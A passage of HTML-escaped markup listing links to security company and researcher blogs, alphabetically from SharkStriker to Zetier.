  &lt;li&gt;&lt;a href=&quot;https://sharkstriker.com/blog/&quot;&gt;SharkStriker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shazzer.co.uk/blog&quot;&gt;Shazzer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shelltrail.com/#blog&quot;&gt;shelltrail&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shielder.com/blog/&quot;&gt;Shielder&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.shiftleft.io&quot;&gt;ShiftLeft&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shindan.io/posts/&quot;&gt;Shindan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shisho.dev/blog&quot;&gt;Shisho Cloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shockwave.cloud/blog&quot;&gt;Shockwave&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.shodan.io&quot;&gt;Shodan Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shostack.org/blog&quot;&gt;Shostack &amp;amp; Associates&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shreshtait.com/blog/&quot;&gt;Shreshta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sick.codes&quot;&gt;Sick.Codes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sicuranext.com&quot;&gt;Sicuranext&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sidechannel.blog&quot;&gt;Sidechannel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sidnlabs.nl&quot;&gt;SIDN Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sightlinesecurity.org/blog&quot;&gt;Sightline Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sigma-star.at/blog/&quot;&gt;Sigma Star&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://signal.org/blog/&quot;&gt;Signal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.signal-labs.com/blog&quot;&gt;Signal Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.signalblur.io&quot;&gt;SignalBlur&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.signalscorps.com/blog/&quot;&gt;SignalsCorps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.silentpush.com/blog/&quot;&gt;Silent Push&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simpity.eu/blog&quot;&gt;Simpity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skylightcyber.com/blog/&quot;&gt;Skylight Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://skyplabs.com/posts/&quot;&gt;SkypLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://posts.slayerlabs.com&quot;&gt;Slayer Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.snapattack.com&quot;&gt;SnapAttack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://snapsec.co/blog/&quot;&gt;Snapsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://snoopgod.com/blog/&quot;&gt;Snoopgod&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://snyk.io/blog/&quot;&gt;Snyk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://socprime.com/blog/&quot;&gt;SOCPRIME&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://socradar.io/blog/&quot;&gt;SOCRadar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rt-solar.ru/solar-4rays/blog/&quot;&gt;Solar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.solidityscan.com&quot;&gt;SolidityScan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.somersetrecon.com/blog&quot;&gt;Somerset Recon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com&quot;&gt;Sonarsource&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sonatype.com/&quot;&gt;Sonatype&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://soos.io/blog&quot;&gt;SOOS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sorsdev.com/blog/&quot;&gt;SORS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://southlakecyber.com/blog/&quot;&gt;South Lake Cyber Risk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.spatial-sec.com/blog/index.html&quot;&gt;SpatialSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://specopssoft.com/blog/&quot;&gt;SpecOps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://posts.specterops.io&quot;&gt;SpecterOps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://spectralops.io/blog/&quot;&gt;Spectral&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.spiderfoot.net/news/&quot;&gt;Spiderfoot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/&quot;&gt;SpiderLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://spidersilk.com/news&quot;&gt;spiderSilk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.splunk.com/en_us/blog&quot;&gt;Splunk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://spur.us/blog/&quot;&gt;Spur&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ssd-disclosure.com/advisories-archive/&quot;&gt;ssd-disclosure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securesystems.de/blog/&quot;&gt;SSE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sshell.co&quot;&gt;sshell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stairwell.com/stairwell-news/?news-cat=blog-posts&quot;&gt;Stairwell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.stamus-networks.com/blog&quot;&gt;Stamus Networks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyber.fsi.stanford.edu/io&quot;&gt;Stanford Internet Observatory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://starlabs.sg/blog/&quot;&gt;Star Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.stationx.net/blog/&quot;&gt;StationX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://steelefortress.com/fortress-feed/&quot;&gt;Steele Fortress&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stellarcyber.ai/resources/blogs/&quot;&gt;Stellar Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sternumiot.com/blog&quot;&gt;Sternum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.stratascale.com/resources/articles&quot;&gt;Stratascale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.stratosphereips.org/blog&quot;&gt;Stratosphere Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://strike.sh/blog&quot;&gt;Strike&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://summitroute.com/blog/&quot;&gt;Summit Route&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.svix.com/blog/posts/&quot;&gt;Svix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sweepatic.com&quot;&gt;Sweepatic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sweet.security/blog&quot;&gt;Sweet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bestwing.me&quot;&gt;Swing’Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://swisskyrepo.github.io/summary/&quot;&gt;Swissky’s adventures into InfoSec World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://swordbytes.com/blog/&quot;&gt;SwordBytes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sygnia.co/blog/&quot;&gt;Sygnia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://symantec-enterprise-blogs.security.com/blogs/&quot;&gt;Symantec Enterprise Blogs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.synack.com/blog/&quot;&gt;Synack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.synacktiv.com/en/publications.html&quot;&gt;SYNACKTIV&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.syndis.is/stories/&quot;&gt;SYNDIS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.synopsys.com&quot;&gt;Synopsys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://synsaber.com/resources/blog/&quot;&gt;SynSaber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.syntaxbearror.io/category/blog/&quot;&gt;Syntax Bearror&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sysdig.com/blog/&quot;&gt;Sysdig&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sysdream.com/news/lab/&quot;&gt;SYSDREAM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.talosintelligence.com&quot;&gt;Talos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tantosec.com/blog/&quot;&gt;Tanto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tech.target.com&quot;&gt;Target tech blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tarlogic.com/blog/&quot;&gt;Tarlogic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tcm-sec.com/blog/&quot;&gt;TCM Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://team-cymru.com/resources/blog/&quot;&gt;Team Cymru&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.security.telekom.com&quot;&gt;Telekom Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://goteleport.com/blog/&quot;&gt;Teleport&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/blog&quot;&gt;Tenable&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xlab.tencent.com/en/&quot;&gt;Tencent Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.testifysec.com/blog/&quot;&gt;TestifySec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tetrane.com&quot;&gt;Tetrane&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tetrelsec.com/posts/&quot;&gt;Tetrel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tevora-threat.ghost.io&quot;&gt;Tevora&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tfp0labs.com&quot;&gt;TFP0 Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://the-sequence.com/&quot;&gt;The Sequence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.theori.io&quot;&gt;Theori&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.thexero.co.uk/blog/&quot;&gt;THEXERO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.thinkst.com&quot;&gt;Thinkst&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.threatfabric.com/blogs.html&quot;&gt;Threat Fabric&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatconnect.com/blog/&quot;&gt;ThreatConnect&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.threatdown.com/blog/&quot;&gt;ThreatDown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.threathunter.ai/blog&quot;&gt;ThreatHunter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatmon.io/articles/&quot;&gt;ThreatMon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatnix.io/blog/&quot;&gt;ThreatNix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatray.com/blog/&quot;&gt;ThreatRay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.threatstop.com/blog&quot;&gt;ThreatSTOP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tidalcyber.com/blog&quot;&gt;Tidal Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tidelift.com&quot;&gt;Tidelift&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tierzerosecurity.co.nz/blog.html&quot;&gt;tier zero zecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developers.tiktok.com/blogs/&quot;&gt;TikTok for developers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tlpblack.net/blog&quot;&gt;TLPBLACK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.token.security/blog&quot;&gt;Token&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.totumrisk.com/blog/&quot;&gt;totum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tracebit.com/blog/&quot;&gt;Tracebit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://trainsec.net/library/&quot;&gt;trainsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.treblle.com&quot;&gt;Treblle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trellix.com/en-us/about/newsroom/stories.html&quot;&gt;Trellix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tremolosecurity.com/blog/bloghome&quot;&gt;Tremolo Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://trenchant.io&quot;&gt;Trenchant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trendmicro.com/en_us/research.html&quot;&gt;TRENDMicro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://trickest.com/blog/&quot;&gt;Trickest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tridentstack.com/blog/&quot;&gt;TridentStack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hub.trimarcsecurity.com/posts&quot;&gt;Trimarc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tripwire.com/state-of-security/&quot;&gt;Tripwire&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://true-positives.com/appsec-blog&quot;&gt;True Positives&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.truesec.com&quot;&gt;TrueSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://trufflesecurity.com/blog&quot;&gt;Truffle Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://trunc.org/learning/&quot;&gt;Trunc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.trustlook.com&quot;&gt;Trustlook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trustwave.com/en-us/resources/blogs/&quot;&gt;Trustwave&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tue.nl/en/research&quot;&gt;TU/e&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://turtlesec.no/blog/&quot;&gt;TurtleSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.twosense.ai/blog&quot;&gt;Twosense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ultimatewindowssecurity.com/blog/default.aspx&quot;&gt;Ultimate IT Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.upguard.com/blog&quot;&gt;UpGuard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.uptycs.com/blog&quot;&gt;Uptycs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.upwind.io/feed/category/research&quot;&gt;Upwind&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://underdefense.com/resource-hub/content-type-blog/&quot;&gt;UnderDefense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://therealunicornsecurity.github.io&quot;&gt;Unicorn Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.unpac.me&quot;&gt;UNPACME&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://untrustednetwork.net/en/posts/&quot;&gt;Untrusted Network&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://herolab.usd.de/en/labnews/&quot;&gt;usd HeroLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vaadata.com/blog/&quot;&gt;Vaadata&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.valencesecurity.com/resources/blogs&quot;&gt;Valence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chocapikk.com&quot;&gt;Valentin Lobstein&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.validin.com/blog/&quot;&gt;Validin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.vansec.com&quot;&gt;vansec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.varonis.com/blog/&quot;&gt;Varonis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vdalabs.com&quot;&gt;VDA Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vectra.ai/blog&quot;&gt;Vectra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ventral.digital&quot;&gt;Ventral Digital&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.veracode.com/blog&quot;&gt;Veracode&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://verialabs.com/blog/&quot;&gt;Veria Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.verichains.io&quot;&gt;Verichains&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://versprite.com/security-resources/&quot;&gt;Versprite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vertex.link/blog&quot;&gt;Vertex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://veteransec.com&quot;&gt;VetSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vicarius.io/blog&quot;&gt;vicarius&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.videah.net/&quot;&gt;Videah&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.viettelcybersecurity.com&quot;&gt;Viettel Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vcyberconsult.com/blog&quot;&gt;Virtual Cybersecurity Consultant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://virtual-routes.org/news-publications/&quot;&gt;Virtual Routes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.virustotal.com&quot;&gt;VirusTotal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.volkis.com.au/blog/&quot;&gt;Volkis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.vonahi.io&quot;&gt;Vonahi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vmray.com/cyber-security-blog/&quot;&gt;VMRay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vsrc.vng.com.vn/blog/&quot;&gt;VNG Security Response Center&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://voidstarsec.com/blog/&quot;&gt;VoidStar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://volatility-labs.blogspot.com&quot;&gt;Volatility Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.volexity.com/blog/&quot;&gt;Volexity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vpnmentor.com/blog/&quot;&gt;vpnMentor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vsecurelabs.co/blog/&quot;&gt;vSecureLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vu.ls/blog/&quot;&gt;vu.ls&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vullify.com/resources/security-research/&quot;&gt;Vullify&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vulncheck.com/blog&quot;&gt;VulnCheck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vulnu.beehiiv.com&quot;&gt;Vulnerable U&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.vulners.com&quot;&gt;Vulners Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wallofsheep.com/blogs/news&quot;&gt;Wall of Sheep&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.warrant.dev&quot;&gt;Warrant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.washingtoncybercenter.com/blog&quot;&gt;Washington Center for Cybersecurity Research &amp;amp; Development&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.watchtowr.com&quot;&gt;watchTowr Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://websec.nl/blog&quot;&gt;Websec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://webz.io/blog/&quot;&gt;webz.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.welivesecurity.com/research/&quot;&gt;welivesecurity by eset&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wesecureapp.com/blog/&quot;&gt;WeSecureApp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://whiteintel.io/blog&quot;&gt;White Intel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://whiteknightlabs.com/blog/&quot;&gt;White Knight Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.whiteoaksecurity.com/blog/&quot;&gt;White Oak Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.whitesourcesoftware.com/resources/blog/&quot;&gt;WhiteSource&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.blazeinfosec.com&quot;&gt;Wildfire Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wimsecurity.com/blog/&quot;&gt;WIMsecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://windows-internals.com/pages/internals-blog/&quot;&gt;Winsider&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://wisdomfreak.com/blog/&quot;&gt;WisdomFreak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.withsecure.com/publications&quot;&gt;WithSecure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wiz.io&quot;&gt;Wiz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/&quot;&gt;Wordfence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x41-dsec.de/news/&quot;&gt;X41 D-Sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xbow.com/blog/&quot;&gt;XBOW&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.xlab.qianxin.com&quot;&gt;XLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.xmcyber.com/blog/&quot;&gt;XM CYBER&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.xposedornot.com&quot;&gt;Xposed or Not&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.yarix.com/category/blog/&quot;&gt;Yarix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.yeswehack.com&quot;&gt;Yes We Hack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://changochen.github.io/writeup.html&quot;&gt;Yongheng Chen (Ne0)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.yazoul.net/news/&quot;&gt;Yazoul&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.yubico.com/blog/&quot;&gt;yubico&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zaproxy.org/blog/&quot;&gt;The Zap Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zdresearch.com&quot;&gt;ZDResearch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.zecops.com&quot;&gt;ZecOps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zeek.org/blog/&quot;&gt;Zeek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.zenity.io&quot;&gt;Zenity Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zerodayinitiative.com/blog&quot;&gt;Zero Day Initiative&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zeropath.com/blog&quot;&gt;ZeroPath&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zetier.com/blog/&quot;&gt;Zetier&lt;/a&gt;&lt;/li&gt;
